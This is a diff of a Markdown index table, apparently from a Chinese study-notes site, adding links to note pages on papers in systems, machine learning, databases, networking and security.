 | `omega-2013` | [Omega 2013 — 让多个调度器同时改一份 cluster 状态](/study/papers/omega-2013/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `omnidirectional-mllm-2025` | [全景空间推理 — MLLM 准备好面对 360° 了吗](/study/papers/omnidirectional-mllm-2025/) | ✅ v3 | 机器学习 | 视频理解 |
 | `omnistvg-2025` | [OmniSTVG — 按句子把视频里所有相关物体都框出来](/study/papers/omnistvg-2025/) | ✅ v3 | 机器学习 | 视频理解 |
+| `on-demand-container-loading` | [On-demand Container Loading — Lambda 如何在 10GiB 镜像下保持冷启动](/study/papers/on-demand-container-loading/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `opencl-2010` | [OpenCL 2010 — 一份代码同时跑 CPU/GPU/DSP/FPGA 的开放标准](/study/papers/opencl-2010/) | ✅ v3 | 图形学 | GPU 架构 |
 | `openflow-2008` | [OpenFlow 2008 — 把交换机的『分拣规则』搬到一台中央电脑上](/study/papers/openflow-2008/) | ✅ v3 | 网络协议 | 网络协议 |
 | `openhands` | [OpenHands — 开源 AI 软件工程师](/study/papers/openhands/) | ✅ v3 | 机器学习 | 智能体与 LLM |
@@ -1939,10 +2083,12 @@ sidebar:
 | `optuna` | [Optuna — 让超参搜索像写普通 Python 代码一样自然](/study/papers/optuna/) | ✅ v3 | 机器学习 | 机器学习 / 超参优化 |
 | `orca-2022` | [Orca — Transformer 生成模型的分布式推理调度](/study/papers/orca-2022/) | ✅ v3 | 图形学 | GPU 架构 |
 | `orca-continuous-batching` | [Orca — 让一批 LLM 请求随到随走，不再排队等最长那个](/study/papers/orca-continuous-batching/) | ✅ v3 | 机器学习 | 模型与训练 |
+| `oscar-int2-kv` | [OSCAR — 面向 2-bit KV Cache 的离线谱协方差感知旋转](/study/papers/oscar-int2-kv/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `ot-1989` | [OT — 多人同时改一份文档，操作随上下文自动改坐标](/study/papers/ot-1989/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `owens-2007-gpgpu-survey` | [Owens 2007 GPGPU 综述 — CUDA 之前 GPU 通用计算的黑魔法时代](/study/papers/owens-2007-gpgpu-survey/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `p4-2014` | [P4 — 让交换机的转发逻辑像写代码一样改](/study/papers/p4-2014/) | ✅ v3 | 网络协议 | 网络协议 |
 | `padmanabhan-1995-http-latency` | [Padmanabhan-Mogul 1995 — 把 HTTP 三种提速方案放一起跑，看谁真的快](/study/papers/padmanabhan-1995-http-latency/) | ✅ v3 | 网络协议 | 网络协议 |
+| `paged-attention-vllm` | [PagedAttention 与 vLLM — 零基础学习笔记](/study/papers/paged-attention-vllm/) | ✅ v3 | 机器学习 | ML 系统 |
 | `pagerank-1998` | [PageRank — 用随机游走给整个网络的页面打分](/study/papers/pagerank-1998/) | ✅ v3 | 信息检索 | 检索与排序 |
 | `pair-programming` | [Pair Programming — 两个人共用一台机器写代码](/study/papers/pair-programming/) | ✅ v3 | 其他 | 软件工程 |
 | `panel` | [Panel — 把 notebook 一键变交互式 web app](/study/papers/panel/) | ✅ v3 | 数据可视化 | 数据可视化 |
@@ -1978,16 +2124,19 @@ sidebar:
 | `product-quantization-2011` | [Product Quantization — 把向量切碎再压成几个字节](/study/papers/product-quantization-2011/) | ✅ v3 | 数据库 | 存储与查询 |
 | `program-comprehension-fmri` | [Program Comprehension fMRI — 程序员读代码时大脑亮的是语言区不是数学区](/study/papers/program-comprehension-fmri/) | ✅ v3 | 其他 | 软件工程认知科学 |
 | `programmer-interruption` | [Programmer Interruption — IDE 数据告诉你被打断后多久才能继续敲代码](/study/papers/programmer-interruption/) | ✅ v3 | 其他 | 软件工程 |
+| `projection-bench` | [ProjectionBench — 渐进披露下，LLM 能「猜对」科学结论吗？](/study/papers/projection-bench/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `prolog-colmerauer` | [Prolog 的诞生 — 让逻辑式子直接当程序跑](/study/papers/prolog-colmerauer/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `prototypical-networks-2017` | [Prototypical Networks — 每类算个均值，比距离就够了](/study/papers/prototypical-networks-2017/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `proverif-2001` | [ProVerif — 把密码协议翻成 Prolog 规则让计算机自己证安全](/study/papers/proverif-2001/) | ✅ v3 | 形式化方法 | 形式化验证 |
 | `ps-li-2014` | [Parameter Server — 多机训练前 AllReduce 时代的工业标准](/study/papers/ps-li-2014/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `push-pull-frp` | [Push-Pull FRP — Functional Reactive Programming 实用化](/study/papers/push-pull-frp/) | ✅ v3 | 编程语言 | 编程语言 |
 | `pypy-tracing-jit` | [PyPy meta-tracing JIT — 给解释器加一次 JIT，所有用它的语言一起加速](/study/papers/pypy-tracing-jit/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
+| `qserve-w4a8kv4-2024` | [QServe — W4A8KV4 量化与系统协同设计（零基础学习笔记）](/study/papers/qserve-w4a8kv4-2024/) | ✅ v3 | 机器学习 | ML 系统 |
 | `quantum-supremacy-2019` | [Quantum Supremacy 2019 — 量子机用 200 秒做完超算 1 万年的事](/study/papers/quantum-supremacy-2019/) | ✅ v3 | 图形学 | GPU 架构 |
 | `quic` | [QUIC — 把可靠传输从内核搬到用户空间](/study/papers/quic/) | ✅ v3 | 网络协议 | 计算机网络 |
 | `quincy-2009` | [Quincy — 把"派活给机器"变成一道最小费用流题](/study/papers/quincy-2009/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `qvhighlights-2021` | [QVHighlights — 用自然语言查询在视频里找精彩瞬间](/study/papers/qvhighlights-2021/) | ✅ v3 | 机器学习 | 视频理解 |
+| `qwen-vla` | [Qwen-VLA — 跨任务、环境与具身的统一视觉-语言-动作建模](/study/papers/qwen-vla/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `qwen2-5-vl-2025` | [Qwen2.5-VL — 绝对时间编码 + 动态分辨率，小时级视频原生理解](/study/papers/qwen2-5-vl-2025/) | ✅ v3 | 机器学习 | 视频理解 |
 | `qwen2-vl-2024` | [Qwen2-VL — 动态分辨率 + M-RoPE，工业级视频理解的里程碑](/study/papers/qwen2-vl-2024/) | ✅ v3 | 机器学习 | 视频理解 |
 | `r-bgp-2007` | [R-BGP 2007 — 故障切换前先把备份路径塞进邻居口袋](/study/papers/r-bgp-2007/) | ✅ v3 | 网络协议 | 网络协议 |
@@ -1995,6 +2144,7 @@ sidebar:
 | `raft` | [Raft — 易理解的共识算法](/study/papers/raft/) | 🗄 存量 | 分布式系统 | 分布式系统 |
 | `rag-lewis-2020` | [RAG (Lewis 2020) — 检索增强生成奠基](/study/papers/rag-lewis-2020/) | ✅ v3 | 机器学习 | AI / NLP |
 | `ranknet-2005` | [RankNet — 让搜索引擎学会比较两个结果谁更好](/study/papers/ranknet-2005/) | ✅ v3 | 信息检索 | 检索与排序 |
+| `ray-2018` | [Ray — 面向新兴 AI 应用的分布式框架](/study/papers/ray-2018/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `rcu-2001` | [RCU 2001 — 让"读"的代价归零的并发数据结构](/study/papers/rcu-2001/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `react` | [ReAct — Reasoning and Acting](/study/papers/react/) | ✅ v3 | 机器学习 | 智能体与 LLM |
 | `react-server-components` | [React Server Components — 让组件自己决定在哪台机器跑](/study/papers/react-server-components/) | ✅ v3 | 后端 API | 前端框架 |
@@ -2006,14 +2156,17 @@ sidebar:
 | `reflexion` | [Reflexion — 让 LLM 自我反思](/study/papers/reflexion/) | ✅ v3 | 机器学习 | 智能体与 LLM |
 | `reformer-2020` | [Reformer — 用哈希分桶把 attention 从 O(L²) 压到 O(L log L)](/study/papers/reformer-2020/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `regev-lwe-2005` | [On Lattices, Learning with Errors, Random Linear Codes, and Cryptography](/study/papers/regev-lwe-2005/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
+| `rendering-diffs` | [On Rendering Diffs — 浏览器里渲染代码 diff 为何比看起来难得多](/study/papers/rendering-diffs/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `replug-2023` | [REPLUG — 不动 LLM 一根毛，只把检索器调到它的"口味"上](/study/papers/replug-2023/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `reps-ifds` | [Reps-Horwitz-Sagiv IFDS — 把跨过程分析变成图上找路](/study/papers/reps-ifds/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `resnet` | [ResNet — 残差连接](/study/papers/resnet/) | ✅ v3 | 机器学习 | 计算机视觉 / 深度学习 |
+| `resolution-diagnostics-llm` | [Resolution Diagnostics for Paired LLM Evaluation — 排行榜上的 0.8 分差距能信吗？](/study/papers/resolution-diagnostics-llm/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `rest-fielding-2000` | [REST — Fielding 2000 给 Web API 写下的设计宪法](/study/papers/rest-fielding-2000/) | ✅ v3 | 后端 API | 后端 |
 | `retro` | [RETRO — DeepMind 的检索增强 LLM](/study/papers/retro/) | ✅ v3 | 机器学习 | AI / NLP |
 | `reynolds-definitional-interpreters` | [Reynolds Definitional Interpreters — 用一种语言去定义另一种语言](/study/papers/reynolds-definitional-interpreters/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `reynolds-separation-logic` | [Separation Logic — 把 Hoare 逻辑扩到带指针的程序](/study/papers/reynolds-separation-logic/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `rfc-3833-dns-threats` | [RFC 3833 — IETF 第一次正式承认 DNS 不安全](/study/papers/rfc-3833-dns-threats/) | ✅ v3 | 网络协议 | 网络协议 |
+| `rim-latent-reasoning` | [Reasoning in Memory — 解锁 LLM 的工作记忆做隐式推理](/study/papers/rim-latent-reasoning/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `ring-allreduce-2017` | [Ring All-Reduce — 把 HPC 的环形规约搬进深度学习](/study/papers/ring-allreduce-2017/) | ✅ v3 | 图形学 | GPU 架构 |
 | `risc-i-1981` | [RISC I — 砍掉 90% 指令反而让 CPU 跑得更快](/study/papers/risc-i-1981/) | ✅ v3 | 图形学 | GPU 架构 |
 | `rlhf-christiano` | [RLHF Christiano 2017 — 人类偏好做奖励](/study/papers/rlhf-christiano/) | ✅ v3 | 机器学习 | 强化学习 / AI 安全 |
@@ -2024,8 +2177,10 @@ sidebar:
 | `rocksdb-lsm` | [LSM-tree 与 RocksDB — 把所有写都变成顺序写](/study/papers/rocksdb-lsm/) | ✅ v3 | 数据库 | 数据库 |
 | `ron-2001` | [RON 2001 — 让一小撮节点自己绕开 BGP 故障](/study/papers/ron-2001/) | ✅ v3 | 网络协议 | 网络协议 |
 | `row-polymorphism-remy` | [Row Polymorphism — 让记录类型可扩展又不丢类型安全](/study/papers/row-polymorphism-remy/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
+| `rowhammer-2014` | [Row Hammer — 不碰邻居也能把邻居的位翻过来](/study/papers/rowhammer-2014/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `rrf-cormack-2009` | [RRF — 把多个搜索结果列表合并成一个的最简单办法](/study/papers/rrf-cormack-2009/) | ✅ v3 | 信息检索 | 数据检索 |
 | `rsa` | [RSA 公钥密码](/study/papers/rsa/) | ✅ v3 | 安全与隐私 | 密码学 |
+| `rsa-1978` | [RSA 1978 — 数字签名与公钥密码的奠基论文](/study/papers/rsa-1978/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `rtp-rfc-1889` | [RTP RFC 1889 — 让 UDP 也能跑实时音视频](/study/papers/rtp-rfc-1889/) | ✅ v3 | 网络协议 | 网络协议 |
 | `rwkv-2023` | [RWKV — 让 RNN 拿到 Transformer 那张训练并行的入场券](/study/papers/rwkv-2023/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `sac-2018` | [Soft Actor-Critic — 让强化学习既会拿分又愿意多试](/study/papers/sac-2018/) | ✅ v3 | 机器学习 | 模型与训练 |
@@ -2063,6 +2218,7 @@ sidebar:
 | `sequential-consistency-1979` | [Sequential Consistency 1979 — 多处理器内存模型的第一个正确性标准](/study/papers/sequential-consistency-1979/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `server-sent-events` | [Server-Sent Events — 服务器单向推送的标准协议](/study/papers/server-sent-events/) | ✅ v3 | 后端 API | 前端 |
 | `sglang-2024` | [SGLang — 把 LLM 程序当成共享前缀的树来跑](/study/papers/sglang-2024/) | ✅ v3 | 图形学 | GPU 架构 |
+| `sglang-radixattention` | [SGLang — 结构化语言模型程序的高效执行（RadixAttention 零基础笔记）](/study/papers/sglang-radixattention/) | ✅ v3 | 机器学习 | ML 系统 |
 | `sgx-2013` | [Innovative Instructions and Software Model for Isolated Execution](/study/papers/sgx-2013/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `shannon-1948` | [Shannon 1948 — 信息论的诞生](/study/papers/shannon-1948/) | ✅ v3 | 机器学习 | 信息论 |
 | `sharegpt4video-2024` | [ShareGPT4Video — 用 GPT-4V 级密集字幕，喂饱视频理解与生成](/study/papers/sharegpt4video-2024/) | ✅ v3 | 机器学习 | 视频理解 |
@@ -2070,6 +2226,8 @@ sidebar:
 | `shenango-2019` | [Shenango — 每 5 微秒重新分一次核的中央调度器](/study/papers/shenango-2019/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `shokri-mia-2017` | [MIA 成员推断攻击 — 黑盒 API 能猜出你是不是训练数据](/study/papers/shokri-mia-2017/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `siglip-2023` | [SigLIP — 用 Sigmoid 损失训练图文对齐](/study/papers/siglip-2023/) | ✅ v3 | 机器学习 | 多模态 LLM |
+| `signal-double-ratchet-2016` | [Double Ratchet Algorithm — Signal 端到端加密会话的「双棘轮」](/study/papers/signal-double-ratchet-2016/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
+| `sigstore-cosign-2022` | [Sigstore — 让每个人都能给软件「盖公证章」](/study/papers/sigstore-cosign-2022/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `sillito-questions` | [Sillito 44 问题 — 程序员改代码时到底在问什么](/study/papers/sillito-questions/) | ✅ v3 | 其他 | 软件工程 |
 | `silt-2011` | [SILT — 0.7 字节内存索引一条记录的 flash 键值存储](/study/papers/silt-2011/) | ✅ v3 | 数据库 | 存储与查询 |
 | `simhash-charikar-2002` | [SimHash — 用随机超平面把余弦相似度变成汉明距离](/study/papers/simhash-charikar-2002/) | ✅ v3 | 信息检索 | 检索与排序 |
@@ -2097,6 +2255,7 @@ sidebar:
 | `sophia-2023` | [Sophia — 让二阶优化器第一次在 LLM 预训练里跑得动](/study/papers/sophia-2023/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `sorkine-2004-laplacian-editing` | [Sorkine 2004 — 用拉普拉斯坐标编辑网格，拽把手不丢细节](/study/papers/sorkine-2004-laplacian-editing/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `souffle-datalog` | [Soufflé — 把 Datalog 编译成 C++ 让程序分析跑得动](/study/papers/souffle-datalog/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
+| `soundness-bench` | [SoundnessBench — AI 科学家能分清好想法与烂想法吗？](/study/papers/soundness-bench/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `spacevllm-2025` | [SpaceVLLM — 一个 MLLM 同时做时序定位、图像指代与时空管定位](/study/papers/spacevllm-2025/) | ✅ v3 | 机器学习 | 视频理解 |
 | `spann-2021` | [SPANN — 内存放中心、SSD 放向量的十亿级近邻检索](/study/papers/spann-2021/) | ✅ v3 | 信息检索 | 检索与排序 |
 | `spanner` | [Spanner — 全球分布式 SQL 数据库](/study/papers/spanner/) | ✅ v3 | 分布式系统 | 分布式系统 / 数据库 |
@@ -2104,10 +2263,14 @@ sidebar:
 | `sparrow-2013` | [Sparrow — 让毫秒级任务也能被精准调度的去中心化调度器](/study/papers/sparrow-2013/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `sparse-autoencoders` | [Sparse Autoencoders — 把 superposition 解出来](/study/papers/sparse-autoencoders/) | 🗄 存量 | 机器学习 | AI 可解释性 |
 | `sparsegpt-2023` | [SparseGPT — 175B 大模型一次过剪 50%，不重训](/study/papers/sparsegpt-2023/) | ✅ v3 | 图形学 | GPU 架构 |
+| `spec-agent-separation-logic` | [Spec-Agent — 用 Agent + 分离逻辑 + Fuzz 自动写 C++ 合约](/study/papers/spec-agent-separation-logic/) | ✅ v3 | 形式化方法 | 形式化验证 |
 | `specinfer-2023` | [SpecInfer — 让大模型一次"猜一棵树"再并行验证](/study/papers/specinfer-2023/) | ✅ v3 | 图形学 | GPU 架构 |
+| `spectre-attack-2018` | [Spectre Attacks — 推测执行如何绕过边界检查偷读内存](/study/papers/spectre-attack-2018/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
+| `speculative-decoding-leviathan-2023` | [Speculative Decoding — 用小模型「猜」、大模型「验」，无损加速 Transformer 推理](/study/papers/speculative-decoding-leviathan-2023/) | ✅ v3 | 机器学习 | ML 系统 |
 | `splade-2021` | [SPLADE — 让神经网络学出稀疏向量，直接复用倒排索引](/study/papers/splade-2021/) | ✅ v3 | 信息检索 | 检索与排序 |
 | `sprite-1988` | [Sprite 1988 — 把一屋子工作站伪装成一台大主机](/study/papers/sprite-1988/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `sqlite-2022` | [SQLite — 嵌入式数据库 30 年怎么活下来的](/study/papers/sqlite-2022/) | ✅ v3 | 数据库 | 存储与查询 |
+| `sqlite-durable-workflows` | [SQLite is All You Need for Durable Workflows — 用单文件数据库做持久化工作流](/study/papers/sqlite-durable-workflows/) | ✅ v3 | 数据库 | 存储与查询 |
 | `ssa` | [SSA — 静态单赋值形式](/study/papers/ssa/) | 🗄 存量 | 编译器 | 编译器 |
 | `st-llm-2024` | [ST-LLM — 把所有时空 token 交给 LLM，让它自己学时序](/study/papers/st-llm-2024/) | ✅ v3 | 机器学习 | 视频理解 |
 | `stable-diffusion` | [Stable Diffusion — 开源文生图引爆](/study/papers/stable-diffusion/) | ✅ v3 | 机器学习 | 生成模型 |
@@ -2119,6 +2282,7 @@ sidebar:
 | `steensgaard-pointer` | [Steensgaard 指针分析 — 用等价合并把指针分析压到几乎线性](/study/papers/steensgaard-pointer/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `stm-shavit-touitou` | [STM Shavit-Touitou — 把"加锁"改成"事务"的源头](/study/papers/stm-shavit-touitou/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `stonebraker-2010-sqlnosql` | [Stonebraker 2010 SQL vs NoSQL — 慢的是老实现，不是 SQL](/study/papers/stonebraker-2010-sqlnosql/) | ✅ v3 | 数据库 | 存储与查询 |
+| `storm-multi-agent-state` | [STORM — 面向多智能体协作的状态导向管理](/study/papers/storm-multi-agent-state/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `streamingbench-2024` | [StreamingBench — 流式视频理解的 18 任务在线大考](/study/papers/streamingbench-2024/) | ✅ v3 | 机器学习 | 视频理解 |
 | `strongtalk` | [Strongtalk — 可以装可以卸的 Smalltalk 类型系统](/study/papers/strongtalk/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `stylegan2-2020` | [StyleGAN2 — 把 StyleGAN 的水滴瑕疵和潜空间纠葛一起修掉](/study/papers/stylegan2-2020/) | ✅ v3 | 机器学习 | 模型与训练 |
@@ -2149,6 +2313,7 @@ sidebar:
 | `tendermint-2016` | [Tendermint — 把拜占庭共识塞进开放区块链的工程模板](/study/papers/tendermint-2016/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `tensorflow-osdi-2016` | [TensorFlow — 把神经网络拆成数据流图再跑到任何机器上](/study/papers/tensorflow-osdi-2016/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `tensorrt-llm-2023` | [TensorRT-LLM — NVIDIA 把 FT 升级成可调度的官方推理栈](/study/papers/tensorrt-llm-2023/) | ✅ v3 | 图形学 | GPU 架构 |
+| `tensorrt-llm-overview` | [TensorRT-LLM — NVIDIA 开源 LLM 推理优化库零基础笔记](/study/papers/tensorrt-llm-overview/) | ✅ v3 | 机器学习 | ML 系统 |
 | `tesla-architecture-2008` | [NVIDIA Tesla — 把显卡改造成通用并行计算机](/study/papers/tesla-architecture-2008/) | ✅ v3 | 图形学 | GPU 架构 |
 | `the-os-1968` | [THE 1968 — Dijkstra 用分层 + 信号量造出第一个可证明的 OS](/study/papers/the-os-1968/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `theorems-for-free` | [Theorems for Free — 类型签名直接给定理](/study/papers/theorems-for-free/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
@@ -2159,6 +2324,7 @@ sidebar:
 | `timelinejs` | [TimelineJS — 一张 Google Sheet 直接变成交互时间轴](/study/papers/timelinejs/) | ✅ v3 | 基础设施 | 基础设施 |
 | `timemarker-2024` | [TimeMarker — 时间分隔符 + 任意长度采帧的视频定位大模型](/study/papers/timemarker-2024/) | ✅ v3 | 机器学习 | 视频理解 |
 | `tla-yu-tlc-1999` | [TLC — 让 TLA+ 规范可以一键机检的模型检查器](/study/papers/tla-yu-tlc-1999/) | ✅ v3 | 形式化方法 | 形式化验证 |
+| `tls-1-3-rfc8446` | [TLS 1.3 (RFC 8446) — 更快、更简、默认前向保密的 HTTPS 握手](/study/papers/tls-1-3-rfc8446/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `tls-1.3` | [TLS 1.3 — 把 HTTPS 握手砍到一个来回](/study/papers/tls-13/) | ✅ v3 | 网络协议 | 网络协议 |
 | `tofte-talpin-regions` | [Tofte-Talpin Regions — 让类型系统替你管内存生命周期](/study/papers/tofte-talpin-regions/) | ✅ v3 | 编程语言 | 编程语言 |
 | `token-bucket-stripe` | [Stripe Rate Limiters — 工业级令牌桶长什么样](/study/papers/token-bucket-stripe/) | ✅ v3 | 后端 API | 后端工程 |
@@ -2172,14 +2338,18 @@ sidebar:
 | `transformer-xl-2019` | [Transformer-XL — 让 Transformer 像 RNN 那样把上下文滚动传下去](/study/papers/transformer-xl-2019/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `traveler-2024` | [TraveLER — 四段式多 Agent，帧级问答看懂长视频](/study/papers/traveler-2024/) | ✅ v3 | 机器学习 | 视频理解 |
 | `tree-of-thoughts-2023` | [Tree of Thoughts — 让 LLM 像下棋一样多想几步再答](/study/papers/tree-of-thoughts-2023/) | ✅ v3 | 机器学习 | 模型与训练 |
+| `tree-sitter-2018` | [Tree-sitter — 增量式解析系统](/study/papers/tree-sitter-2018/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `trees-that-grow` | [Trees that Grow — 可扩展的语法树设计](/study/papers/trees-that-grow/) | ✅ v3 | 编程语言 | 编程语言 |
+| `triaxialkv` | [TriAxialKV — Agent 推理场景下的极低精度 KV Cache 混合量化](/study/papers/triaxialkv/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `trill-2014` | [Trill — 一个引擎同时跑流、批、交互三种分析](/study/papers/trill-2014/) | ✅ v3 | 数据库 | 存储与查询 |
 | `triton-2019` | [Triton 2019 — 让 Python 写出贴近 cuBLAS 的 GPU kernel](/study/papers/triton-2019/) | ✅ v3 | 图形学 | GPU 架构 |
+| `triton-anatomy-paged-attn` | [The Anatomy of a Triton Attention Kernel — 零基础学习笔记](/study/papers/triton-anatomy-paged-attn/) | ✅ v3 | 机器学习 | ML 系统 |
 | `triton-llm` | [Triton — 让 Python 程序员也能写出贴近 cuBLAS 的 GPU kernel](/study/papers/triton-llm/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `trustrank-2004` | [TrustRank — 用一小撮可信种子把整张 Web 的信誉算出来](/study/papers/trustrank-2004/) | ✅ v3 | 信息检索 | 检索与排序 |
 | `turchin-supercompilation` | [Turchin Supercompilation — 让编译器把程序模拟一遍再写回去](/study/papers/turchin-supercompilation/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `turing-1936` | [Turing 1936 可计算性](/study/papers/turing-1936/) | ✅ v3 | 编程语言 | 计算理论 |
 | `turing-architecture-2018` | [NVIDIA Turing — RT Core 把光追装进消费卡，Tensor Core 第二代下放 INT8](/study/papers/turing-architecture-2018/) | ✅ v3 | 图形学 | GPU 架构 |
+| `tutti-ssd-kv-cache` | [Tutti — 让 SSD 上的 KV Cache 真正可用于长上下文 LLM 推理](/study/papers/tutti-ssd-kv-cache/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `tvm` | [TVM — 让一份模型能在所有硬件上跑得快](/study/papers/tvm/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `tvm-2018` | [TVM OSDI 2018 — 把 Halide 思想搬到深度学习](/study/papers/tvm-2018/) | ✅ v3 | 图形学 | GPU 架构 |
 | `twine-2020` | [Twine — Facebook 把整个数据中心当一台机器调度](/study/papers/twine-2020/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
@@ -2195,9 +2365,13 @@ sidebar:
 | `veach-1997-mlt` | [Veach MLT — 用 Metropolis 在路径空间游走，专攻 BDPT 也算不动的难场景](/study/papers/veach-1997-mlt/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `vega-lite` | [Vega-Lite — 用 JSON 三段式画复合图](/study/papers/vega-lite/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `vellvm` | [Vellvm — 在 Coq 里给 LLVM IR 写一份机器证明的语义](/study/papers/vellvm/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
+| `velox-meta-2022` | [Velox — Meta 的统一执行引擎](/study/papers/velox-meta-2022/) | ✅ v3 | 数据库 | 存储与查询 |
 | `verdi-2015` | [Verdi — 在 Coq 里完整证明 Raft 协议的分布式系统验证框架](/study/papers/verdi-2015/) | ✅ v3 | 形式化方法 | 形式化验证 |
+| `vericache` | [VeriCache — 把有损 KV Cache 变成无损 LLM 推理](/study/papers/vericache/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `verisoft-2008` | [Verisoft — 把整台计算机从晶体管到邮件客户端全部用数学证完](/study/papers/verisoft-2008/) | ✅ v3 | 形式化方法 | 形式化验证 |
 | `vertica-2012` | [Vertica 2012 — C-Store 论文走向产品的七年改造账](/study/papers/vertica-2012/) | ✅ v3 | 数据库 | 存储与查询 |
+| `vescale-fsdp-2026` | [veScale-FSDP — 灵活且高性能的大规模 FSDP](/study/papers/vescale-fsdp-2026/) | ✅ v3 | 机器学习 | ML 系统 |
+| `vibeserve` | [VibeServe — 零基础学习笔记](/study/papers/vibeserve/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `vid-llm-survey-2023` | [Vid-LLM Survey — 用大语言模型理解视频的全景地图](/study/papers/vid-llm-survey-2023/) | ✅ v3 | 机器学习 | 视频理解 |
 | `video-chatgpt-2023` | [Video-ChatGPT — 让大语言模型看懂视频并聊起来](/study/papers/video-chatgpt-2023/) | ✅ v3 | 机器学习 | 视频理解 |
 | `video-llama-2023` | [Video-LLaMA — 把音频和视频同时塞进大语言模型](/study/papers/video-llama-2023/) | ✅ v3 | 机器学习 | 视频理解 |
@@ -2213,6 +2387,7 @@ sidebar:
 | `videoprism-2024` | [VideoPrism — 冻结一个模型就能搞定所有视频理解任务](/study/papers/videoprism-2024/) | ✅ v3 | 机器学习 | 视频理解 |
 | `vidstg-2020` | [VidSTG — 用自然语言在长视频里框出「谁在何时何地」](/study/papers/vidstg-2020/) | ✅ v3 | 机器学习 | 视频理解 |
 | `vinoground-2024` | [Vinoground — 时序反事实短视频探针](/study/papers/vinoground-2024/) | ✅ v3 | 机器学习 | 视频理解 |
+| `visualthink-vla` | [VisualThink-VLA — 用「视觉中间推理」做低延迟的机器人策略](/study/papers/visualthink-vla/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `vit` | [ViT — Vision Transformer](/study/papers/vit/) | ✅ v3 | 机器学习 | 计算机视觉 |
 | `vl2-2009` | [VL2 — 让一万台服务器像在同一台交换机上](/study/papers/vl2-2009/) | ✅ v3 | 网络协议 | 网络协议 |
 | `vllm` | [vLLM — 把操作系统的分页搬进 GPU KV cache](/study/papers/vllm/) | ✅ v3 | 机器学习 | 数据科学与 AI |
@@ -2234,6 +2409,8 @@ sidebar:
 | `wandb` | [Weights & Biases — 几行 init 把指标系统代码自动入库](/study/papers/wandb/) | ✅ v3 | 基础设施 | 基础设施 |
 | `wang-2014-spdy` | [How Speedy is SPDY — 换协议没让网页变快多少](/study/papers/wang-2014-spdy/) | ✅ v3 | 网络协议 | 网络协议 |
 | `ward-1992` | [Ward 1992 — 第一个能落地的各向异性反射模型](/study/papers/ward-1992/) | ✅ v3 | 图形学 | 渲染与图形 |
+| `wco-joins-relational-2020` | [Adopting Worst-Case Optimal Joins in Relational Database Systems — 把 WCO Join 搬进通用 RDBMS](/study/papers/wco-joins-relational-2020/) | ✅ v3 | 数据库 | 存储与查询 |
+| `webauthn-fido2` | [WebAuthn Level 2 — 用公钥凭证替代密码的 Web 标准](/study/papers/webauthn-fido2/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `websocket-rfc-6455` | [WebSocket RFC 6455 — 让浏览器和服务器开一条不挂断的双向电话](/study/papers/websocket-rfc-6455/) | ✅ v3 | 网络协议 | 网络协议 |
 | `webxskill` | [WebXSkill — 给 Web agent 的可执行 skill 是参数化代码 + URL 图索引](/study/papers/webxskill/) | ✅ v3 | Agent | 智能体与 LLM |
 | `whisper-2022` | [Whisper — 68 万小时弱监督训出的语音识别](/study/papers/whisper-2022/) | ✅ v3 | 机器学习 | 模型与训练 |
@@ -2242,6 +2419,7 @@ sidebar:
